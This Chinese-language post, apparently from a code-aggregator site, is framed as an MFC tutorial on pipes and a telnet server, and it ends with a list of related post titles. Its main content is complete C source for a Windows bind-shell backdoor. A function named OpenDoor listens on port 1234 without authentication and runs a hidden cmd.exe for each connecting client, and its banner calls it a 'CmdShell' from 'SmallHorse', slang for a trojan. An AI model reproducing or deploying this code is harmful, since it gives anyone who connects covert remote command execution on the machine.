MFC之进程间的通信---管道,telnet服务端
来源:互联网 发布:网络监控软件手机版下载 编辑:程序博客网 时间:2024/05/22 04:32
MFC应用程序 和 cmd.exe程序之间的通信。
留空...
#include<winsock2.h>#include <stdio.h>#pragma comment (lib, "Ws2_32.lib")int port = 1234;DWORD WINAPI ClientThread(LPVOID lpParam);void OpenDoor(){ // 初始化 Winsock. WSADATA wsaData; SOCKET m_socket,AcceptClient; sockaddr_in Service,Client; int ClientSize,i=0; int iResult = WSAStartup( MAKEWORD(2,2), &wsaData ); if ( iResult != NO_ERROR ) return; // 创建一个 socket. m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); if(m_socket==SOCKET_ERROR) return; Service.sin_family = AF_INET; Service.sin_addr.s_addr = htonl(INADDR_ANY); Service.sin_port = htons( port ); if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR) return;//邦定 if (listen(m_socket,5)==SOCKET_ERROR) return;//最大监听列队5个 printf(" smallhorse Listen On Port: %d ^*^ ",port); ClientSize=sizeof(Client); while(1) { AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize); if(AcceptClient==SOCKET_ERROR) return;//接受连接 printf( "Client Connected. "); char *sendbuf = "Thanks For Using SmallHorse's CmdShell! Good Luck!\n"; send( AcceptClient, sendbuf, strlen(sendbuf), 0 ); if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL) printf("Create Thread Error! "); Sleep(1000); } WSACleanup(); return;}DWORD WINAPI ClientThread(LPVOID lpParam){ int ret; char Buf[1024]; HANDLE Rpipe,Wpipe,Wfile,Rfile; SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam; SECURITY_ATTRIBUTES sa; sa.nLength=sizeof(sa); sa.bInheritHandle=TRUE; sa.lpSecurityDescriptor=NULL; ret=CreatePipe(&Rpipe,&Rfile,&sa,0); ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立两个管道,分别用于接收命令和显示结果 STARTUPINFO startinfo; GetStartupInfo(&startinfo); startinfo.dwFlags= STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; startinfo.hStdInput = Wfile; startinfo.hStdError= startinfo.hStdOutput=Rfile; startinfo.wShowWindow = SW_HIDE; char cmdline[MAX_PATH]; GetSystemDirectory(cmdline,MAX_PATH); strcat(cmdline,("\\cmd.exe")); PROCESS_INFORMATION proinfo; ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo); unsigned long ByteRec; while(1) { Sleep(100); PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0); if(ByteRec){ ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0); if(!ret) break; ret=send(AcceptClient,Buf,ByteRec,0); printf("发送%s\n", Buf); if(ret<=0) { break; printf("悲剧\n"); } } else{ ByteRec=recv(AcceptClient,Buf,1024,0); if(ByteRec<=0) break; printf("接收到%s\n", Buf); ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0); if(!ret) { break; printf("Error 哦\n"); } } } return 0;}int main(int argc, char *argv[]){ printf("Listen Port:%d\n", port); OpenDoor(); return 0;}
留空...
- MFC之进程间的通信---管道,telnet服务端
- 进程间通信系列 之 管道(客户端和服务端通信)
- 进程间的通信之管道
- 进程间的通信之1-----管道
- 进程间的通信之管道
- [进程通信] 进程间通信 之 管道
- 进程间通信之管道
- 进程间通信之 管道
- 进程间通信 之 管道
- 进程间通信之管道
- 进程间通信之管道
- 进程间通信之 管道
- 进程间通信之管道
- 进程间通信之管道
- 进程间通信之管道
- 进程间通信之管道
- 进程间通信之管道
- 进程间通信之管道
- 搜索字符或者字符串_CHARINDEX函数
- zoom:1; 用法
- Agg vs. Cairo 二维绘图引擎之比较和选择
- 20、从头学Android之Android的数据存储--File
- 控件综合使用二
- MFC之进程间的通信---管道,telnet服务端
- MySQL_LOAD_DATA权限设置
- 下载glodfish kernel
- 用户体验设计思想:瞬间设计
- gdb的使用详解
- 简单数据库的调用
- C++内存分配秘籍—new,malloc,GlobalAlloc详解
- 如何关闭笔记本电脑液晶显示屏,我的电脑是F6哦。
- Nagios 安装笔记